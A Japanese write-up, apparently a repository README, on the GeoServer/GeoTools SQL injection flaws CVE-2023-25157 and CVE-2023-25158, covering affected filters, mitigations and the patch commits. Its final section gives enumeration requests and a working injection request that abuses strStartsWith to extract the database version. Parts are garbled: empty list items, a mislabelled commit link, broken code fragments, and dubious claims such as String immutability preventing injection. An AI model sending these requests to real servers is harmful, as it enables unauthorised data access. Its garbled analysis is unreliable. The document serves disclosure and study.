
GeoServer & GeoTools SQLインジェクション (CVE-2023-25157 & CVE-2023-25158)
このリポジトリには、GeoServerプラットフォームとGeoToolsライブラリで発見されたSQLインジェクションの脆弱性の詳細な説明と再現手順が含まれています。この脆弱性には、GeoServer用にCVE-2023-25157、GeoTools用にCVE-2023-25158の識別子が割り当てられています。
GeoServer は、Javaで書かれたオープンソースのソフトウェアサーバーであり、地理空間データの表示、編集、共有機能を提供します。地理情報システム (GIS) データベース、ウェブベースのデータ、個人データセットなど、さまざまなソースからの地理空間データを配布するための柔軟で効率的なソリューションとして設計されています。
GeoServerは、Web Feature Service (WFS)、Web Map Service (WMS)、Web Coverage Service (WCS) を含む、データ共有のためのOpen Geospatial Consortium (OGC) 標準に準拠しています。この標準への準拠により、GeoServerからのデータは、カスタム構築されたGISソフトウェアから既製のソリューションまで、多種多様なアプリケーションで使用できます。
GeoServerは主にSpringフレームワーク上に構築されていますが、以下のような他の多くのライブラリやフレームワークも使用しています。
GeoTools: 地理空間データのためのツールを提供するオープンソースのJavaライブラリです。GeoServerは、データの読み取り、書き込み、変換など、多くのコア機能にGeoToolsを使用しています。問題の脆弱性は、Open Geospatial Consortium (OGC) 標準で定義されたフィルタおよび関数式に深く埋め込まれています。これらの式は、地理空間データのクエリと操作のバックボーンを形成しており、GeoServerやGeoToolsのようなシステムの機能において極めて重要な役割を果たしています。
これらの脆弱性が悪用されると、深刻なセキュリティ侵害につながる可能性があります。攻撃者はデータベースに保存されている機密データにアクセスできる可能性があるため、情報の不正開示が主な懸念事項です。不正な変更も別の潜在的な結果であり、攻撃者はデータを自分たちの都合の良いように操作できます。さらに、これらの脆弱性はサービスの妨害を促進する可能性もあり、悪用が成功するとサービスが利用できなくなる可能性があります。
以下では、特定された各脆弱性の詳細な分析を提供します。各脆弱性は詳細に調査され、その具体的な特徴、発現につながる条件、および悪用の潜在的な影響について説明します。以下は、GeoServerで見つかった脆弱性の詳細な内訳です。
PropertyIsLikeフィルタ: この脆弱性は、PropertyIsLikeフィルタが、任意のリレーショナルデータベースベースのストア、エンコード機能が有効なPostGISデータストア、またはリレーショナルデータベースにインデックスが保存されたイメージモザイクと共にStringフィールドで使用された場合に存在します。strEndsWith関数: この脆弱性は、strEndsWith関数が、エンコード機能が有効なPostGISデータストアで使用された場合に発生します。strStartsWith関数: この脆弱性は、strStartsWith関数が、エンコード機能が有効なPostGISデータストアで使用された場合に見つかります。FeatureIdフィルタ: この脆弱性は、FeatureIdフィルタが、String主キー列を持つデータベーステーブルで、かつプリペアドステートメントが無効になっている場合に存在します。jsonArrayContains関数: この脆弱性は、jsonArrayContains関数がStringまたはJSONフィールドと共に、PostGISまたはOracleデータストア(GeoServer 2.22.0以降のみ)で使用された場合に見つかります。DWithinフィルタ: この脆弱性は、DWithinフィルタがOracleデータストアで使用された場合に発見されます。以下は、GeoToolsで見つかった脆弱性の詳細な内訳です。
PropertyIsLikeフィルタ:
strEndsWith関数:
strStartsWith関数:
FeatureIdフィルタ:
jsonArrayContains関数:
DWithinフィルタ:
CVE-2023-25157 GeoServer SQL Injection 脆弱性。CVE-2023-25158 GeoTools SQL Injection 脆弱性。GeoServer SQLインジェクション (CVE-2023-25157) とGeoTools SQLインジェクション (CVE-2023-25158) の両方の脆弱性に対する推奨される対処方法は、参照されたバージョン以降にアップグレードすることです。このアップグレードが完了している場合は、追加の手順は必要ありません。ただし、迅速なアップグレードが困難な方のために、Geoチームは以下の代替ソリューションを提供しています。
PostGISデータストアのエンコード機能設定を無効にして、strEndsWith、strStartsWithの脆弱性を緩和します(公開されたフィーチャタイプに文字列フィールドがある場合、likeフィルタには緩和策はありません)。
PostGISデータストアのpreparedStatements設定を有効にして、FeatureIdの脆弱性を緩和します。```java
Map<String, Object> params = new HashMap < >();
params.put("dbtype", "postgis");
params.put("host", "localhost");
params.put("port", 5432);
params.put("schema", "public");
params.put("database", "database");
params.put("user", "postgres");
params.put("passwd", "postgres");
params.put("preparedStatements", true); // mitigation
params.put("encode functions", false); // mitigation
DataStore dataStore = DataStoreFinder.getDataStore(params);
攻撃対象領域を制限するための良い習慣として、接続プールに使用されるデータベースアカウントには必要最小限の権限のみを付与することが重要です(例:WFS-T/インポーター/RESTグラニュールハーベスティングが使用されない限り読み取り専用、本番運用に必要なスキーマとテーブルにのみアクセス制限)。
- `PropertyIsLike`フィルタに対する緩和策はありません。アップグレードが可能になるまで、データベースDataStoreを無効にすることを選択しても構いません。
- Oracle DataStoreの`DWithin`に対する緩和策はありません。アップグレードが可能になるまで、Oracle DataStoreを無効にすることを選択しても構いません。
### <b>パッチ分析:GitHub Issueおよび関連コミット</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
以下に、GeoServerとGeoToolsの両方で見つかったSQLインジェクションの脆弱性に関連するいくつかのJIRA Issueへのリンクを提供します。これらのリンクは、これらの特定の脆弱性に関連する重要なデータ、議論、および提案された解決策へのアクセスを提供します。
- [GEOS-10842: JDBCConfig: SQLクエリ内のユーザ入力をエスケープ](https://osgeo-org.atlassian.net/browse/GEOS-10842)
- [GEOS-10839: JDBCConfig: SQLコメントとpretty-printingを無効にするJDBC設定パラメータを追加](https://osgeo-org.atlassian.net/browse/GEOS-10839)
- [GEOT-7302: SQLクエリ内のユーザ入力をエスケープ](https://osgeo-org.atlassian.net/browse/GEOT-7302)
[`geoserver/geoserver@145a8af`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)コミットを見ると、それぞれ以下の変更が明確に確認できます。
- [`ConfigDatabase.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java)では、プロパティフィールドの追加と、そのプロパティフィールドを含めるためのコンストラクタの変更があります。これにより、データベース設定のカスタマイズが可能になり、セキュリティ対策の強化が可能になる可能性があります。[`NamedParameterJdbcTemplate`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/jdbc/core/namedparam/NamedParameterJdbcTemplate.html)はSpring Frameworkが提供するクラスで、従来のプレースホルダ('?')引数を使用したJDBCステートメントのプログラミングとは対照的に、名前付きパラメータを使用してJDBCステートメントをプログラミングするためのサポートを追加します。このコミットでは、`ConfigDatabase`コンストラクタが`DataSource`を受け取り、そこから`NamedParameterJdbcTemplate`を作成するように更新されています。名前付きパラメータは可読性を向上させ、引数がパラメータ化されておりSQLコマンドの一部ではないことを明確にするため、SQLインジェクション攻撃を防ぐこともできます。
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-1b49bc6af3f36da2ebf7a0d8d3af3fa3697ccee91bf67a690f99837ee2730bed)```java
/* (c) 2014 Open Source Geospatial Foundation - all rights reserved
* (c) 2001 - 2013 OpenPlans
* This code is licensed under the GPL 2.0 license, available at the root
* application directory.
*/
package org.geoserver.jdbcconfig.internal;
// import some packages...
import org.geoserver.jdbcloader.JDBCLoaderProperties;
public class ConfigDatabase implements ApplicationContextAware {
public static final Logger LOGGER = Logging.getLogger(ConfigDatabase.class);
private static final int LOCK_TIMEOUT_SECONDS = 60;
private Dialect dialect;
private JDBCLoaderProperties properties;
// rest of the codebase
protected ConfigDatabase() {
//
}
public ConfigDatabase(
JDBCLoaderProperties properties,
DataSource dataSource,
XStreamInfoSerialBinding binding) {
this(properties, dataSource, binding, null);
}
public ConfigDatabase(
JDBCLoaderProperties properties,
final DataSource dataSource,
final XStreamInfoSerialBinding binding,
CacheProvider cacheProvider) {
this.properties = properties;
this.binding = binding;
this.template = new NamedParameterJdbcTemplate(dataSource);
// cannot use dataSource at this point due to spring context config hack
template.queryForObject呼び出しの変更に見られます。sql.toString()の代わりに、安全に構築されたSQL文と思われるsql変数自体が使用されています。
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/ConfigDatabase.java```java // count = template.queryForObject(sql.toString(), namedParameters, Integer.class); count = template.queryForObject(sql, namedParameters, Integer.class);
[`QueryBuilder.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java)内の`StringBuilder`オブジェクト`sql`が`String`オブジェクトに置き換えられました。この変更はSQLインジェクション攻撃の防止に重要です。`StringBuilder`オブジェクトは可変であるため、SQLクエリの不注意による改変や悪意のある改変を引き起こす可能性があります。これを不変の`String`に置き換えることで、そのような改変を防ぎ、SQLインジェクションを防止することができます。
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/QueryBuilder.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-a393e831a86b6020d56c521d7b9135179daa804e2cb435b19d85d76eb5d0544bL131-R131)```java
// private void querySortBy(StringBuilder query, StringBuilder whereClause, SortBy[] orders) {
private void querySortBy(StringBuilder query, String whereClause, SortBy[] orders) {
/*
* Start with the oid and id from the object table selecting for type and the filter.
*
* Then left join on oid for each property to sort by to turn it into an attribute.
*
* The sort each of the created attribute.
*/
escapeCommentという新しいメソッドがDialect.javaクラスに追加されました。このメソッドはコメント文字列を受け取り、その中の危険な文字をエスケープします。具体的には、いくつかのSQLインジェクション攻撃で使用される、SQLコメントの開始文字と終了文字('/*' および '*/')をエスケープしているようです。
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java /** Escapes the contents of the SQL comment to prevent SQL injection. / public String escapeComment(String comment) { String escaped = ESCAPE_CLOSING_COMMENT_PATTERN.matcher(comment).replaceAll("\\/"); return ESCAPE_OPENING_COMMENT_PATTERN.matcher(escaped).replaceAll("/\\*"); }
- SQLへのコメント追加: SQLにオブジェクトをコメントとして追加するために、新しいメソッド`appendComment`が[`Dialect.java`](https://github.com/geoserver/geoserver/blob/b05287608048d0f6e36c264f43fe15aa5dfb5130/src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java)クラスに追加されました。デバッグモードが有効でない場合、これらのメソッドは元のSQLをそのまま返します。デバッグモードが有効な場合、提供されたオブジェクトの文字列表現をコメントの形でSQLに追加します。コメントは`escapeComment`メソッドを使用して安全にエスケープされます。
> [src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e?diff=split#diff-b224c54b2d06ede45d4a45d34d64452aaeae70fbe60210e800d85df98a60e432R55-R65)```java
/** Appends the objects to the SQL in a comment if debug mode is enabled. */
public StringBuilder appendComment(StringBuilder sql, Object...objects) {
if (!debugMode) {
return sql;
}
sql.append(" /* ");
for (Object object: objects) {
sql.append(escapeComment(String.valueOf(object)));
}
return sql.append(" */\n");
}
/** Appends the objects to the SQL in an comment if debug mode is enabled. */
public StringBuilder appendComment(Object sql, Object...objects) {
return appendComment((StringBuilder) sql, objects);
}
/** Appends one of the strings to the SQL depending on whether debug mode is enabled. */
public StringBuilder appendIfDebug(StringBuilder sql, String ifEnabled, String ifDisabled) {
return sql.append(debugMode ? ifEnabled : ifDisabled);
}
条件付きでSQLに文字列を追加する: appendIfDebugメソッドがDialectクラスに追加されました。このメソッドは、デバッグモードが有効かどうかに応じて、提供された2つの文字列のいずれかをSQLに追加します。Dialect.javaクラスでは、debugModeフィールドが追加され、その状態を変更するためのsetDebugMode()メソッドが提供されています。このデバッグモードは、その後detect()メソッドで使用されます。
src/community/jdbcconfig/src/main/java/org/geoserver/jdbcconfig/internal/Dialect.java```java public class Dialect { // rest of the code... public static Dialect detect(DataSource dataSource, boolean debugMode) { Dialect dialect; try { Connection conn = dataSource.getConnection(); } catch (SQLException ex) { throw new RuntimeException(ex); } dialect.setDebugMode(debugMode); return dialect; }
public boolean isDebugMode() {
return debugMode;
}
public void setDebugMode(boolean debugMode) {
this.debugMode = debugMode;
}
}
以下のコミット [`geotools/geotools@64fb4c4`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b) を見ると、以下の変更がそれぞれ明確に確認できます。
- `escapeBackslash` フィールドが [`modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2e) クラスに追加されたのは、バックスラッシュ文字がSQL構文内の特殊文字をエスケープするために使用される特定の形式のSQLインジェクションを防止するための予防措置です。文字列リテラル内のバックスラッシュをエスケープするオプションを提供することで、開発者はアプリケーションがバックスラッシュ文字をエスケープ文字ではなくプレーンテキストとして扱えるようにし、これによりSQLインジェクションの可能性を制限できます。
これらの変更は、文字列リテラル内の特殊文字(一重引用符、二重引用符、バックスラッシュなど)がSQLクエリに含まれる前に適切にエスケープされるようにすることで、SQLインジェクションを防止するために連携して機能します。これはSQLインジェクションの脆弱性を軽減する一般的な方法です。`escapeBackslash` が true に設定されている場合、[`EscapeSql`](https://github.com/geotools/geotools/blob/2da7f4f8cc746dc3d4a31a6323a76797a99e7997/modules/library/jdbc/src/main/java/org/geotools/jdbc/EscapeSql.java#L28) クラスの [`escapeLiteral()`](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-9c2f3a1daafd589eb6305170ffa40db051aeda5ae26c22b3438ba5923b451ab7R36-R49) メソッドが呼び出されると、文字列リテラル内のバックスラッシュがエスケープされます。このメソッドは、[`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) クラスの様々な場所で、文字列リテラルをSQLクエリに含める前にエスケープするために使用されています。例えば、[1762行目](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR1761-R1762)```java
// single quotes must be escaped to have a valid sql string
String escaped = escapeLiteral(encoding);
このメソッドが呼び出される場所の一つであり、escapeBackslash設定が有効になる場所です。元のコードでは、アプリケーションは手動でシングルクォートを二つのシングルクォートに置き換えていました。これはSQLでシングルクォートをエスケープする一般的な方法です。これは重要です。なぜなら、エスケープされていないシングルクォートは、攻撃者が文字列リテラルを途中で終了させ、自身のSQLコマンドを追加することを可能にし、SQLインジェクションの脆弱性につながるからです。
修正されたコードでは、アプリケーションは手動でシングルクォートを置き換える代わりに、EscapeSql.java クラスの escapeLiteral() メソッドを呼び出すようになりました。このメソッドは、シングルクォートだけでなく、バックスラッシュ、そしてパラメータに応じてダブルクォートもエスケープするように設計されています:```java
public static String escapeLiteral(
String literal, boolean escapeBackslash, boolean escapeDoubleQuote) {
// ' --> ''
String escaped = SINGLE_QUOTE_PATTERN.matcher(literal).replaceAll("''");
if (escapeBackslash) {
// \ --> \
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\");
}
if (escapeDoubleQuote) {
// " --> "
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\"");
}
return escaped;
これにより、アプリケーションはSQL文字列内のすべての特殊文字が適切にエスケープされることを保証でき、SQLインジェクションを防止するためのより堅牢で安全なアプローチとなります。
- `convertToSQL92` メソッドの変更: `LikeFilterImpl.convertToSQL92` メソッドは、標準SQLの'LIKE'構文のパターンをSQL-92構文に変換します。このコミットでは、このメソッドに新しいパラメータが追加されました。この変更は、[`FilterToSQL.java`](https://github.com/geotools/geotools/blob/main/modules/library/jdbc/src/main/java/org/geotools/data/jdbc/FilterToSQL.java) クラスの [line 547](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b?diff=split#diff-bd6d9db0d247e2fa5b149e6e281e39d27da9eecb7b755cb5f9be01aa975aca2eR546-R547) のメソッドからのものです:```java
// String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal);
String pattern = LikeFilterImpl.convertToSQL92(esc, multi, single, matchCase, literal, false);
パターン変換プロセスに影響を与えるフラグを追加しているようです。以前は、メソッド呼び出しの末尾に false パラメータが含まれていませんでした。この false の値は、変換プロセス中に literal 文字列内の特定の文字をエスケープするかどうかに関係していると考えられます。エスケープにより、literal 文字列内の特殊文字がSQL構文の一部として解釈されず、単なるテキスト値として扱われるようになるため、SQLインジェクションの防止に役立ちます。
out.write() を writeLiteral() に置き換える: out.write() を writeLiteral() に置き換えることは、もう一つの大きな変更点です。out.write() メソッドは、指定された文字列をそのまま出力ストリームに書き込み、追加の処理やエスケープを行いません。これにより、文字列にエスケープされていないSQL構文が含まれている場合、SQLインジェクションにつながる可能性があります。```java
writeLiteral(pattern);一方、`writeLiteral()`は、出力ストリームに書き込む前に、文字列に対して何らかのエスケープやサニタイズを適用することで、SQLインジェクションのリスクを低減していると考えられます。また、この変更は、直接の書き込み操作を`writeLiteral()`の呼び出しに置き換えるものであり、SQLインジェクションを防ぐための予防策が含まれている可能性が高いです。```java
// out.write(attValues.get(j).toString());
writeLiteral(attValues.get(j));
これらの脆弱性を適切に悪用するためには、まず以下の情報を取得する必要があります。
それぞれに対してです。したがって、利用可能な機能名を取得するために、以下のリクエストがターゲットサーバーに送信されます。``` GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

利用可能なフィーチャー名を取得した後、関連する利用可能なフィーチャーのプロパティを取得するために、以下のHTTPリクエストを送信する必要があります。```
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=<nameOftheAvailabeFeatureHere>&maxFeatures=1&outputFormat=json HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

上記の2つのHTTPリクエストの後、利用可能なすべてのフィーチャー名と、それらのフィーチャー名に関連付けられたプロパティ名を列挙します。この段階の後、取得した任意のプロパティに対して、SQLペイロードが注入された悪意のあるHTTPリクエストをサーバーに送信することで、攻撃プロセスを実行できます。``` GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName==strStartsWith%28%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+INTEGER%29%29+--+%27%29+%3D+true HTTP/1.1 Host: vulnerablehost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept-Encoding: gzip, deflate Accept: / Connection: close

### <b>結論</b>
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
結論として、CVE-2023-25157 および CVE-2023-25158 で報告された GeoServer と GeoTools における SQL インジェクションの脆弱性の発見は、デジタル環境に常に存在する脅威を改めて認識させるものです。これらの脆弱性は OGC フィルターおよび関数式のコア部分に存在し、深刻な障害や不正なデータアクセス・改ざんを引き起こす可能性があります。
これらの脆弱性の修正に関する詳細については、以下のリソースを参照してください。
- 脆弱性修正に使用されたコミット: [geoserver/geoserver@145a8af](https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d)
- 脆弱性修正に使用されたコミット: [geotools/geotools@64fb4c4](https://github.com/geotools/geotools/commit/64fb4c47f43ca818c2fe96a94651bff1b3b3ed2b)
- [GeoServer OGC フィルター SQL インジェクション脆弱性](https://geoserver.org/vulnerability/2023/02/20/ogc-filter-injection.html) および [GeoTools OGC フィルター SQL インジェクション脆弱性](http://geotoolsnews.blogspot.com/2023/02/geotools-274-released.html)
- [GitHub Advisory Database (GitHub 確認済み): GeoServer SQL インジェクション](https://github.com/advisories/GHSA-7g5f-wrx8-5ccf)、[GeoServer Advisory Database: GeoServer 上の SQL インジェクション](https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf) および [GeoTools Advisory Database: GeoTools 上の SQL インジェクション](https://github.com/geotools/geotools/security/advisories/GHSA-99c3-qc2q-p94m)
- [NIST Advisory for GeoServer: CVE-2023-25157](https://nvd.nist.gov/vuln/detail/CVE-2023-25157) および [NIST Advisory for GeoTools: CVE-2023-25158](https://nvd.nist.gov/vuln/detail/CVE-2023-25158)
- [MITRE Advisory for GeoServer: CVE-2023-25157](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25157) および [MITRE Advisory for GeoTools: CVE-2023-25158](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-25158)